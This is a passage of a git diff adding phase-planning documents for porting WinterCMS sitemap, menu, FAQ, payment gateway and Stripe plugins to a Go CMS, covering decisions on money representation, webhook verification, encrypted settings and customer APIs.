+- `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/faq/`: `models/FAQ.php` (jsonable `content`, `locale` belongsTo), `models/faq/fields.yaml`, `updates/v1.0.1/*`
+- `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/partials/g15_menu/default.htm`, `g15_faq/` and `g15_faq_whyus/`: the rendered markup the layers replace
+- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/Plugin.php` `extendWinterPagesPlugin()`, plus `Category::getMenuTypeInfo/resolveMenuItem` and `Post::getMenuTypeInfo/resolveMenuItem`: the Journal type semantics (frozen tree, P15 D-01)
+
+### Framework
+- `modules/pact/capabilities.go`: the `Has*` capability-interface pattern (D-01)
+- `modules/festival/README.md`: typed events for the sitemap add-item hooks (D-14)
+- `modules/cabana/README.md` and `modules/cabana/form_schema.go`: the field type set (`formFieldTypes`), widget and action contracts, fail-loud schema rules (D-06 to D-10)
+- `modules/cabana/field_markdown.go`: the precedent for adding a field type
+
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- `pact` `Has*` capability interfaces (`HasRoutes`, `HasAdminControllers`, `HasSettings`, `HasLang`, …): the model for the registry interface and for the plugins' wiring.
+- `festival.Bus` (`Fire`, `Collect`, `UntilHandled`): for the sitemap `beforeAddItem`/`addItem` successors.
+- cabana `relation`, `dropdown`, `switch`, `fileupload`, `markdown` and `mltext` fields, `HasSettings` settings pages, and the `type: widget` plus action contract.
+- `sm-journal-plugin/classes/format_html.go` `CheckHTML`: the HTML sanitize gate that `richeditor` must keep.
+- `sm-translate-plugin/models/locale.go` `Locale`: the FAQ `locale_id` relation and the slug alternates for D-03.
+- `sm-journal-plugin/routes.go`: the `/_journal/api/v1` route, limiter and CORS pattern for `/_menu` and `/_faq`.
+- `vue-journal-layer`: the layer structure and token conventions to copy for `vue-menu-layer` and `vue-faq-layer`.
+
+### Established Patterns
+- Framework first: a new cabana field type updates the module README, `docs/`, admin OpenAPI, generated TS types and the committed SPA `dist/` in one change (P15 D-11).
+- Plugins keep PHP table names, columns, permission codes and YAML, so the ports and DB copies stay 1:1.
+- Framework READMEs never name a consuming application.
+
+### Integration Points
+- `sm-grzybyfunkcjonalne-app` (`/media/nvme/dev/golem15/summercms.io/summercms/sm-grzybyfunkcjonalne-app/`) mounts the three new plugins as submodules at `plugins/golem15/{sitemap,menu,faq}`, adds them to `go.work`, `go.mod` and `summer.yaml`, and adds the nginx routes for `/sitemap.xml`, `/sitemap.xsl`, `/_menu` and `/_faq`.
+- `vue-grzybyfunkcjonalne-app` extends `vue-menu-layer` and `vue-faq-layer`, and removes its P16 menu config, static FAQ and Nuxt sitemap module.
+- `sm-journal-plugin` implements the registry interface (D-04) and switches the category content field to `richeditor` (D-10).
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- Sitemap setup mirrors how the Winter sitemap plugin is configured on Horoskopia and the other PHP sites: URL items plus plugin types, with no CMS or static pages.
+- Dependency note: Phase 16 is planned but not yet executed. D-15 and D-19 change Phase 16 deliverables (the Nuxt sitemap, the app menu config, the static FAQ) after it lands, so Phase 17 plans must run after Phase 16 execution.
+- Concurrency note: during this discussion, another session was editing `modules/cabana` and `modules/lagoon` for quick task 261009-mys (backend user subtitle and avatar). Framework plans here touch `modules/cabana` too and should start from a clean tree.
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- Pages plugin (Winter.Pages successor) and its Static Page menu and sitemap types: dropped here per D-12. A future pages port would register through the D-01 registry.
+- Sitemap definitions keyed per host, for multi-domain apps.
+- FAQ index listing endpoint (`GET /faqs`).
+
+### Reviewed Todos (not folded)
+- `journal-author-profile-fields.md`: belongs to the Journal author API work and quick task 261009-mys, not this phase.
+- `nest-framework-packages-under-modules.md`: keyword match only; Phase 10.2 covers it.
+- The remaining matches (READMEs, scaffold, wristband, lagoon, benchmark, translate JSON editor): keyword matches only.
+
+</deferred>
+
+---
+
+*Phase: 17-blog-companions*
+*Context gathered: 2026-10-09*

.planning/phases/17-blog-companions/17-DISCUSSION-LOG.md

@@ -0,0 +1,141 @@
+# Phase 17: Blog companions - Discussion Log
+
+> **Audit trail only.** Do not use as input to planning, research, or execution agents.
+> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
+
+**Date:** 2026-10-09
+**Phase:** 17-blog-companions
+**Areas discussed:** Menu-item type registry, Admin editing gaps, Sitemap headless adaptation, Public APIs + Nuxt consumption
+
+---
+
+## Menu-item type registry
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Capability interface | Optional `Has*` interface returning typed MenuItemType with Info()/Resolve(); registry collects at boot | ✓ |
+| Typed festival events | Three typed events on the festival bus, the closest mirror of PHP | |
+| Both | Interface plus filter events | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Config default + item override | Type default pattern, host-config override per type, then per-item override | ✓ |
+| Per-item pattern only | Every item stores its own pattern | |
+| Host config only | No per-item override | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Built-ins + registry | url/divider built in; content types from the registry; blog_categories → all-journal-categories; page dropped | ✓ |
+| Registry only | Even url and divider registered | |
+| Keep PHP type values | Map at read time | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Yes, in the contract | Resolve returns locale→URL alternates | ✓ |
+| No, sitemap computes it | Prefixing as in PHP | |
+
+---
+
+## Admin editing gaps
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Framework first | Generic cabana repeater and tree reorder | ✓ |
+| Plugin widgets | Bespoke custom elements per plugin | |
+| Simplify screens | Relation managers, FAQ schema change | |
+
+Rich text, first answer:
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Markdown field, keep HTML data | Reuse the P15 markdown field | ✓ (later revised) |
+| New richeditor field | WYSIWYG field in cabana | |
+| Convert HTML → markdown on import | Lossy risk | |
+
+Rich text, revisited after finding that the markdown preview drops raw HTML (todo `cabana-richeditor-field-type.md`):
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Add richeditor this phase | Fold the todo; FAQ and the Journal category use it | ✓ |
+| Markdown + HTML→md on import | Convert during the DB copy | |
+| Textarea for now | Raw HTML textarea | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Generic repeater + dependent dropdown | One type/reference binding shared by sitemap and menu | ✓ |
+| Dedicated sitemap widget | Plugin custom element | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Drag-and-drop tree reorder | ReorderController successor with re-parenting | ✓ |
+| Flat reorder + parent dropdown | Sibling-only reorder | |
+| Nested repeater on Menu | Whole menu as one repeater | |
+
+---
+
+## Sitemap headless adaptation
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| One definition per app | Keep the theme column with a fixed key | ✓ |
+| Keyed by site/host | Multi-domain | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Configurable pattern list | Tier patterns from settings/config | ✓ |
+| Port verbatim | Hardcoded golem15.com patterns | |
+| Drop tiers | Per-item priority only | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Keep @nuxtjs/seo for grzyby | Plugin proven by golden tests only | |
+| Switch grzyby to the plugin | nginx routes the sitemap to Go; reverses P16 D-13 | ✓ |
+| Mount, decide at cutover | Both on staging | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| URL items + updates manifest | | |
+| URL items only | | |
+| App-registered type | | |
+
+**User's choice:** free text: "no static pages or cms pages, just URL items, we configure it like that in wintercms sitemap plugin on horoskopia etc"
+
+---
+
+## Public APIs + Nuxt consumption
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Resolved tree by code | GET /_menu/api/v1/menus/{code}, server-resolved | ✓ |
+| Raw entries | Nuxt resolves types | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| By slug + locale | GET /_faq/api/v1/faqs/{slug}?locale= | ✓ |
+| By slug, locale via header | Accept-Language | |
+| List + by slug | Add an index endpoint | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Sibling layers | vue-menu-layer, vue-faq-layer | ✓ |
+| Inside vue-journal-layer | | |
+| One vue-companions-layer | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Copy from PHP DB | Scripted copy with type mapping; remove the P16 app content | ✓ |
+| Seed from P16 app content | | |
+| Re-enter in admin | | |
+
+**Notes:** The grzyby sitemap definition is copied in the same step (grzyby runs the PHP sitemap plugin).
+
+---
+
+## Claude's Discretion
+
+- Registry package and identifier names, config key names, JSON field names, the WYSIWYG JS editor choice, plan split, the ImportCommand format (default: 1:1), permissions and navigation following PHP.
+
+## Deferred Ideas
+
+- Pages plugin and the Static Page types; per-host sitemap definitions; the FAQ index endpoint.
+- Todos reviewed but not folded: `journal-author-profile-fields.md`, `nest-framework-packages-under-modules.md`, other keyword-only matches.

.planning/phases/18-payment-gateway/18-CONTEXT.md

@@ -0,0 +1,157 @@
+# Phase 18: Payment Gateway - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+Port `Golem15.PaymentGateway` (about 21k LOC of PHP) and `Golem15.PGStripe` (about 2.5k LOC, minus its subscription parts) to SummerCMS as two shared core plugins, `sm-paymentgateway-plugin` and `sm-pgstripe-plugin`. The port covers:
+- the Payment and Order state machines (exact money)
+- build-time operators (cash, manual transfer, disabled, and Stripe with PaymentIntent and Checkout modes)
+- the `_paymentgateway/{operator}/{mode?}/{result?}` notification route
+- the Order and Payment events and their mails
+- the admin screens and the scheduled commands
+- Quotes, Shippings and Currencies
+- a headless customer order API with a `vue-paymentgateway-layer` Nuxt layer
+
+The phase is proven by a test host inside the plugin that replays the order-create, Stripe-pay and order-paid flow Horoskopia relies on.
+
+Not in this phase: `Golem15.PaymentGatewaySubscriptions` and pgstripe's subscription gateway and webhook (they move to Phase 18.1), and the Horoskopia app port itself.
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Split, source and acceptance proof
+- **D-01:** **Subscriptions move to a new Phase 18.1.** This covers `Golem15.PaymentGatewaySubscriptions` (Subscription, SubscriptionPlan, the `SubscriptionGateway` contract, the `golem15.pgsub.*` events) together with pgstripe's `StripeSubscriptionGateway`, `ProcessStripeSubscriptionWebhook` job and `POST /webhook/stripe/subscriptions`. Phase 18 ports pgstripe without them. Insert 18.1 into the roadmap after this discussion (`/msd-phase`). — **Reversibility:** reversible — a roadmap split.
+- **D-02:** **The frozen port contract is Horoskopia's checkout:** `paymentgateway` at `4b9ecf9` (2026-06-10, equal to `origin/master`) and `pgstripe` at `8b47457` (`v1.0.1`), read from `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/{paymentgateway,pgstripe}`. Planner and researcher must not silently pick a newer `master` (the same rule as P15 D-01/D-02). Binding from that tree: tables and migrations, models, YAML forms/lists/filters, permission codes, event names, config keys, mail template codes, console command names and the notification route. Its `tests/` (unit, functional, security, reliability) are a behavioral spec: map each one to a Go case, and cover them in the last plan. — **Reversibility:** costly — every table, key and event name is copied from this tree.
+- **D-03:** **The proof is a test-only host inside the plugin repo**, not an app repo. It mounts `sm-paymentgateway-plugin`, `sm-pgstripe-plugin` and `sm-user-plugin` with a fake consumer plugin, runs against Postgres via testcontainers, and talks to Stripe through an `httptest` fake behind stripe-go's backend override. There is no `sm-horoskopia-app` in this phase.
+- **D-04:** **The proof exercises both pay paths:**
+  - (a) **Operator path:** `OrderFactory.Make(cart, details, user)` → Stripe operator (PaymentIntent, and Checkout mode per D-16) → signed notification on `_paymentgateway/stripe/...` → Payment `Accepted` → Order `Paid` → `OrderPaid` event and its mail.
+  - (b) **Consumer-driven path:** the app creates its own Checkout Session, receives its own webhook, and moves the order to `Paid` through the plugin's public Order/Payment API. This is what Horoskopia's `BookApiController::pay` and `BookFulfilmentService` do today. Path (b) proves the API surface Horoskopia needs: the state constants (`STATE_PLACED`, `STATE_AWAITINGPAYMENT`, the paid states), the transition methods, `hash_id` lookup and the `OrderPaid` event.
+
+### Feature scope
+- **D-05:** **Port all of paymentgateway 1:1**, including Quotes/Quoteables, Shippings and Currencies with the NBP fields and the `pg:update-currencies` command. It's a shared core plugin with 7 real users, so one schema and migration history serves every app. — **Reversibility:** costly — the tables and migration IDs become the shared contract.
+- **D-06:** **The Winter `Orders` component's successor is a headless customer order API plus a Nuxt layer.**
+  - **API:** a JSON API under `/_paymentgateway/api/v1/` (following the `/_journal/api/v1`, `/_menu` and `/_faq` conventions) mirrors the component's handlers: show order, select payment method, select shipping, process (start payment), cancel, request refund, add/remove piece and remove item.
+  - **Layer:** `vue-paymentgateway-layer`, a new repo under `git.golem15.com/golem15/`, distributed like `vue-journal-layer` (P16 D-02 to D-04: a pnpm git dependency pinned to a tag, a neutral CSS-token design, components the app can override). It ships a typed client and order/checkout/status components covering the PHP state partials.
+  - **Reversibility:** one-way — a published API that apps and the layer consume.
+- **D-07:** **MoneyWidget becomes a generic cabana `money` field type**, built framework first in `summercms.go` (the P15 D-11 / P17 D-06 pattern). It holds an amount in minor units plus a currency, is formatted by locale, and fails loud on schema errors. The module README, `docs/`, admin OpenAPI, generated TS types and committed `dist/` update in the same change. **TaxWidget gets no new type**: it becomes a dropdown or number field over the tax rates. — **Reversibility:** costly — a new field type in the typed admin schema.
+- **D-08:** **Mail templates become postcard Markdown under the PHP template codes** (`golem15.paymentgateway::mail.order.purchased`, `...mail.payment.accepted`, and so on, about 26 of them), with the same variables, in EN and PL only (as P15 D-06). **MailerSettings** ports as a settings page that controls which customer and employee mails are sent. **The SetUp wizard** (which redirects until the base currency is configured) becomes a settings default or a required setting, not a redirecting controller.
+
+### Money
+- **D-09:** **Money is `int64` minor units plus an ISO currency code**, a small value type that mirrors moneyphp (`Money::PLN(3984)`). It needs no new dependency. Arithmetic, allocation and rounding follow moneyphp's behavior, and the currency `ratio` (decimal 8,4) and NBP conversion use exact integer or `math/big` arithmetic, never floats. The researcher decides whether the type lives in the plugin or in `wire` (it goes in `wire` only if it's generic). — **Reversibility:** costly — every model, the cart and the consumer API take this type.
+- **D-10:** **The `decimal(12,4)` / `decimal(10,4)` `*_amount_stored` columns are major units.** The Money type implements an exact `sql.Scanner`/`driver.Valuer` that parses and formats the decimal string with no float (PITFALLS.md #5). Values with more precision than the currency's minor unit are preserved or explicitly rejected, never silently rounded; the researcher checks what PHP actually writes. Unit tests cover the column ceiling and the edge cases.
+- **D-11:** **`cart` and `details` (`mediumText`, JMS-serializer JSON) are read in the legacy shape and written in a versioned Go shape.** The guardrails:
+  1. New rows carry a format version marker (for example `"v": 2`).
+  2. A permanent legacy JMS reader decodes unversioned rows. It's tested against golden fixtures taken from real PHP rows (Horoskopia plus at least one shop-type app with shipping and quotes). Legacy rows are never rewritten in bulk.
+  3. A typed extension registry replaces JMS's `setCartClass`/`setDetailsClass` (subclass-allowlisted, PG-007) and `registerMetadataDirectory`. A plugin registers a named extension type for Item/Details extra data, with explicit JSON tags and no class injection.
+  4. Rollback to PHP is one-way: once Go writes v2 rows, PHP can't read them. Each app cutover treats this as a point of no return and takes a DB backup first.
+  - **Reversibility:** one-way — stored rows in every app's `orders` table.
+
+### Stripe
+- **D-12:** **The Stripe client is the official `github.com/stripe/stripe-go`** (current major, with a pinned API version). This decision names it as an allowed dependency for `sm-pgstripe-plugin`, and 18.1 reuses it. Tests use the SDK's backend override pointed at an `httptest` fake; no test calls the network. — **Reversibility:** reversible — it's isolated in pgstripe.
+- **D-13:** **Stripe keys and secrets live in encrypted settings with a config fallback**, as in PHP `StripeSettings`. The secret key, publishable key and webhook signing secrets are admin settings stored as `lagoon.Encrypted`, with a test/live mode switch and a host-config/`SUMMER_*` env fallback when a setting is empty. The admin form never returns secrets (write-only, like password fields). App cutovers import PHP values with `lagoon.DecryptLaravelPayload`.
+- **D-14:** **Webhook verification keeps PHP's behavior:** `Stripe-Signature` is checked against the mode's signing secret, a missing header or secret is refused with a log entry, and the notification route stays CSRF-free. Behavior of `_paymentgateway/{operator}/{mode?}/{result?}` (any method, `mode`/`modeResult` merged into the input, operator code de-urlized) is preserved, and only registered operators resolve.
+- **D-15:** **Operators register at build time through a Go interface**, the successor of `core/Operator` and the `golem15.paymentgateway.operators` config push in `paymentgateway.booted`. The approach is a `pact`-style capability (or a registry in the paymentgateway plugin) that pgstripe implements. Cash, manual transfer, disabled and Stripe operators ship.
+- **D-16:** **New beyond PHP: a Stripe Checkout mode.** The Stripe operator can create a Checkout Session (hosted page) as well as PaymentIntents, and its notification handling accepts `checkout.session.completed` (and `checkout.session.async_payment_succeeded`) to accept the payment. This is the plugin-level version of what Horoskopia hand-rolls, so its later port can drop that code. Selecting the mode is a setting or a per-order operator option (planner's call). — **Reversibility:** costly — a new operator mode and settings that apps rely on.
+- **D-17:** **The client receives payment data in the process response; there's no separate keys endpoint.** The customer API's process call returns `{redirect_url}` for Checkout mode, and `{client_secret, publishable_key}` (for the active test/live mode) for PaymentIntent mode. `vue-paymentgateway-layer` defaults to Checkout and simply redirects, as `vue-horoskopia-app` does today (`window.location.href = checkout_url`). The Winter `StripeKeys` component is not ported as an endpoint.
+
+### Claude's Discretion
+- Go package, type and identifier names for the operator interface, Money type, extension registry and state-machine types, provided D-09 to D-15 hold.
+- Exact JSON field names and authorization of the customer order API (order hash for guests vs the logged-in user), following the PHP component's checks. The security review covers this.
+- Whether the Money type and the `money` field live in `wire`/cabana or in the plugin, as long as D-07 keeps `money` a cabana core type.
+- How the five daily commands (`pg:update-currencies`, `pg:cancel-created-payments`, `pg:cancel-placed-orders`, `pg:cancel-sent-payments`, `pg:finish-orders`, plus `UpdateOrders` and `UpdateAbstractItem`) are scheduled through conga, keeping the PHP command names.
+- Typed festival event shapes for the 19 Order and 5 Payment events, keeping the PHP event names as their identifiers.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". This phase is large (two plugins, a framework field, a customer API and a Nuxt layer), so expect the framework `money` field first and the layer near the end.
+- Run the security-review agent: the phase handles payments, secrets, a public webhook route and a public customer API.
+
+</decisions>
+
+<canonical_refs>
+## Canonical References
+
+**Downstream agents MUST read these before planning or implementing.**
+
+### Roadmap and decisions
+- `.planning/ROADMAP.md` § Phase 18: goal, repos, port sources, splits, success criteria
+- `.planning/notes/core-plugin-port-inventory.md` § "PaymentGateway facts that matter for Phase 18": users, operator registration, webhooks, state machines, events
+- `.planning/notes/core-plugins-own-repos.md`: the `sm-<name>-plugin` repo, module path, submodule and `go.work` layout, and the submodule commit workflow
+- `.planning/research/PITFALLS.md` #5: fixed-decimal money, never `float64`
+- `.planning/phases/15-journal-plugin/15-CONTEXT.md`: D-01/D-02 (the frozen-source rule), D-05 (PHPUnit as spec), D-06 (EN/PL only), D-11 (framework-first field type), D-14 (`/_x/api/v1` convention)
+- `.planning/phases/17-blog-companions/17-CONTEXT.md`: D-06 (framework-first cabana work), D-16/D-17 (public API shape), D-18 (Nuxt layer distribution)
+- `.planning/seeds/SEED-261007-j2b-horoskopia-port.md`: the later Horoskopia app port that consumes these plugins
+
+### PHP port sources (frozen per D-02)
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/paymentgateway/`: `Plugin.php` (permissions, settings, components, mail templates, form widgets, schedule), `routes.php`, `core/` (Operator, Order, OrderFactory, OrderManager, PaymentManager, SerializationService, the mailers and event subscribers), `models/`, `valueobjects/`, `operators/`, `console/`, `updates/` (schema), `metadata/` (JMS mappings for D-11), `components/Orders.php` and `components/orders/*.htm` (D-06), `formwidgets/` (D-07), `tests/`, `README.md`, `UPGRADE.md`, `docs/`, `cron-entries.txt`
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/pgstripe/`: `operators/Stripe.php`, `classes/StripeSettings.php`, `classes/StripeChargeMaker.php`, `classes/StripeCreditCardProvider.php`, `components/StripeKeys.php`, `config/config.php`, `tests/`. Skip `StripeSubscriptionGateway`, `jobs/ProcessStripeSubscriptionWebhook.php` and `http/routes.php` (18.1 per D-01).
+
+### Acceptance consumer (read-only reference)
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/controllers/BookApiController.php`: `purchase` (Item/Cart/Details/OrderFactory) and `pay` (its own Checkout Session)
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/classes/services/BookFulfilmentService.php`: the transition to Paid and the paid states
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/controllers/HoroscopeStripeWebhookController.php`: signature handling, two signing secrets, idempotency
+- `/media/nvme/dev/golem15/horoskopia.eu/vue-horoskopia-app/app/stores/book.ts`: the client redirect flow (D-17)
+
+### Framework
+- `modules/cabana/README.md`, `modules/cabana/form_schema.go`, `modules/cabana/field_markdown.go`: the field-type set and the precedent for adding `money` (D-07)
+- `modules/lagoon/encrypted.go`, `modules/lagoon/laravel_decrypt.go`: encrypted settings and the cutover import (D-13)
+- `modules/postcard/README.md`: Markdown mail templates (D-08)
+- `modules/conga/README.md`: scheduled commands
+- `modules/festival/README.md`: typed events
+- `modules/pact/`: the capability-interface pattern for operator registration (D-15)
+- `modules/wire/README.md`: JSON value types for the customer API
+
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- `lagoon.Encrypted` (AES-256-GCM at rest, redacted in JSON) and `lagoon.DecryptLaravelPayload` (cutover import): the Stripe secrets (D-13).
+- `postcard`: plugin-owned Markdown mail templates and layouts with memory, log and SMTP drivers (D-08).
+- `conga`: River jobs plus `ScheduledCommandArgs` / the `scheduled` queue for the daily `pg:*` commands.
+- `festival.Bus` (`Fire`, `Collect`, `UntilHandled`): the Order and Payment events.
+- cabana `HasSettings` settings pages, the `dropdown`/`number` fields and `type: password`-style write-only fields: the PG settings, MailerSettings and Stripe settings.
+- `sm-journal-plugin/routes.go`: the `/_x/api/v1` route, limiter and CORS pattern for the customer order API.
+- `vue-journal-layer`: the layer structure for `vue-paymentgateway-layer`.
+- `sm-user-plugin` (mounted in `fonoteka.go/plugins/golem15/user`): the order `user_id` owner and the authenticated customer.
+
+### Established Patterns
+- Core plugins keep PHP table names, columns, migration semantics, permission codes, event names and config keys (non-breaking across the 7 apps), except where D-11 versions the stored cart/details JSON.
+- Framework first: a new cabana field type lands in `summercms.go` with README, `docs/`, OpenAPI, TS types and `dist/` in one change.
+- Framework and plugin READMEs never name a consuming application.
+
+### Integration Points
+- New sibling checkouts `/media/nvme/dev/golem15/summercms.io/summercms/sm-paymentgateway-plugin/` and `.../sm-pgstripe-plugin/`, with module paths `git.golem15.com/golem15/sm-paymentgateway-plugin` and `git.golem15.com/golem15/sm-pgstripe-plugin`, packages `paymentgateway` and `pgstripe`, and plugin IDs `golem15.paymentgateway` and `golem15.pgstripe`. Confirm the remotes exist before the first push.
+- `summercms.go`: the cabana `money` field (D-07), plus anything else missing in the framework that the researcher finds.
+- `vue-paymentgateway-layer`: a new repo, sibling of `vue-journal-layer`.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- Horoskopia's real checkout flow: it builds `Item(name, 1, Money::PLN(net), vatRate, meta)` → `Cart('PLN')` → `Details([], 'stripe')` with a description, email and return URL → `OrderFactory->make($cart, $details, $user)` → `order hash_id`. Paying creates a hosted Checkout Session, and the frontend redirects to `checkout_url`. The Go API must make this sequence equally short.
+- JMS was chosen for an explicitly mapped value object that each app can extend. That need carries over (D-11, point 3), but the JMS wire format does not.
+- Horoskopia's webhook keeps a separate signing secret per endpoint and per test/live mode. The Stripe settings must allow distinct secrets per mode (D-13).
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- **Phase 18.1, Payment Gateway Subscriptions:** `Golem15.PaymentGatewaySubscriptions` plus pgstripe's subscription gateway, webhook and job (D-01). Insert it into the roadmap.
+- **Plugin-registered, value-bearing cabana field types** (the successor to Winter `registerFormWidgets`): cabana has a closed field-type set, and `type: widget` is valueless. Captured as `.planning/todos/pending/cabana-plugin-registered-field-types.md` (major, framework). It's needed before porting plugins that ship their own fields.
+
+### Reviewed Todos (not folded)
+- `cabana-richeditor-field-type.md`: already folded into Phase 17 (P17 D-10).
+- `nest-framework-packages-under-modules.md`, `journal-author-profile-fields.md`, `2026-10-01-benchmark-...`, `2026-10-07-translate-messages-as-nuxt-i18n-json-editor.md`, `bonfire-duplicate-command-names.md`, `faq-plugin-port.md`: these matched on keywords only and are unrelated to payments.
+
+</deferred>
+
+---
+
+*Phase: 18-payment-gateway*
+*Context gathered: 2026-10-09*

.planning/phases/18-payment-gateway/18-DISCUSSION-LOG.md

@@ -0,0 +1,129 @@
+# Phase 18: Payment Gateway - Discussion Log
+
+> **Audit trail only.** Do not use as input to planning, research, or execution agents.
+> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
+
+**Date:** 2026-10-09
+**Phase:** 18-payment-gateway
+**Areas discussed:** Subscriptions & acceptance, Feature scope of the port, Money representation, Stripe integration shape
+
+---
+
+## Subscriptions & acceptance
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Separate 18.1 | P18 ports paymentgateway and pgstripe without subscriptions; 18.1 ports subscriptions | ✓ |
+| All in Phase 18 | Port all three plugins in one phase | |
+| In 18, as the last wave | Same phase, subscription plans last | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Test host in the plugin | Test-only host with a fake consumer, testcontainers Postgres, Stripe httptest fake | ✓ |
+| Skeleton sm-horoskopia-app | Start the Horoskopia Go app now | |
+| Existing app (summercms.io) | Mount in sm-summercmsio-app | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Both paths | Operator PaymentIntent path plus the consumer-driven Checkout path | ✓ |
+| Operator path only | | |
+| Consumer path only | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Horoskopia's checkout | pg 4b9ecf9, pgstripe 8b47457 v1.0.1 | ✓ |
+| Latest origin/master at plan time | | |
+| Starter 'upgrade' branch | 96b6aa6 (older) | |
+
+**Notes:** We found that Horoskopia creates Stripe Checkout Sessions itself and handles its own webhook, beside the PaymentIntent-based operator.
+
+---
+
+## Feature scope of the port
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Port all 1:1 | Quotes, Shippings, Currencies with NBP included | ✓ |
+| Schema 1:1, features later | | |
+| Horoskopia subset only | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Headless customer order API | /_paymentgateway/api/v1 mirroring the Orders component handlers | |
+| Defer, Go API only | | |
+| API plus a Nuxt layer | API plus vue-paymentgateway-layer | ✓ |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Generic cabana `money` field | Framework first; TaxWidget becomes a dropdown/number | ✓ |
+| Both as cabana field types | | |
+| Plugin-local SPA widgets | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Postcard Markdown, same keys | EN+PL; MailerSettings as a settings page; SetUp wizard as a settings default | ✓ |
+| Keep HTML bodies verbatim | | |
+| You decide | | |
+
+**Notes:** The user asked whether cabana lets plugins register their own field types, as WinterCMS does. It doesn't: the type set is closed, and `type: widget` is valueless. This was captured as the major todo `cabana-plugin-registered-field-types.md`, since plugins to be ported soon ship their own fields.
+
+---
+
+## Money representation
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| int64 minor units + currency | Mirrors moneyphp, no new dependency | ✓ |
+| shopspring/decimal | New dependency | |
+| You decide | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Byte-compatible JMS shape | Rollback to PHP stays possible | |
+| Read PHP shape, write a Go shape | Tolerant legacy reader, new Go shape | ✓ (with guardrails) |
+| Migrate on import | | |
+
+**User's choice:** "There was a reason we picked JMS serializer. I'd go with 2, if it's safe and correct for the future of this payment plugin." After the JMS rationale was explained (app-swappable Cart/Details subclasses, metadata dirs), the user confirmed option 2 with four guardrails: a versioned v2 shape, a permanent legacy reader with golden fixtures, a typed extension registry replacing setCartClass and metadata, and one-way rollback documented. A rewrite migration and the byte-compatible fallback were offered and not chosen.
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Exact scanner/valuer | decimal(12,4) major units ↔ int64 minor, no float | ✓ |
+| You decide | | |
+
+---
+
+## Stripe integration shape
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| stripe-go official SDK | Named as the decided dependency | ✓ |
+| Hand-rolled net/http client | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| No, port the operator 1:1 | Checkout mode deferred | |
+| Yes, add a Checkout mode | New behavior beyond PHP | ✓ |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Encrypted settings + config fallback | lagoon.Encrypted, test/live, write-only, Laravel decrypt on import | ✓ |
+| Config/env only | | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Process response, Checkout first | redirect_url or client_secret+publishable_key | ✓ |
+| Checkout only in the layer | | |
+| Separate keys endpoint | | |
+
+**Notes:** The user asked how Horoskopia handled keys without Winter components. It never needed the publishable key: the backend returns `checkout_url` and the Nuxt app redirects (`vue-horoskopia-app/app/stores/book.ts`).
+
+---
+
+## Claude's Discretion
+
+- Identifier names, the customer API's JSON field names and authorization details, where the Money type lives, the conga scheduling of the `pg:*` commands, typed event shapes, plan count and split, and whether to run the security review (yes).
+
+## Deferred Ideas
+
+- Phase 18.1: Payment Gateway Subscriptions.
+- Plugin-registered value-bearing cabana field types (todo created).

.planning/phases/18.1-payment-gateway-subscriptions/.gitkeep

@@ -0,0 +1 @@
+

.planning/phases/18.1-payment-gateway-subscriptions/18.1-CONTEXT.md

@@ -0,0 +1,168 @@
+# Phase 18.1: Payment Gateway Subscriptions - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
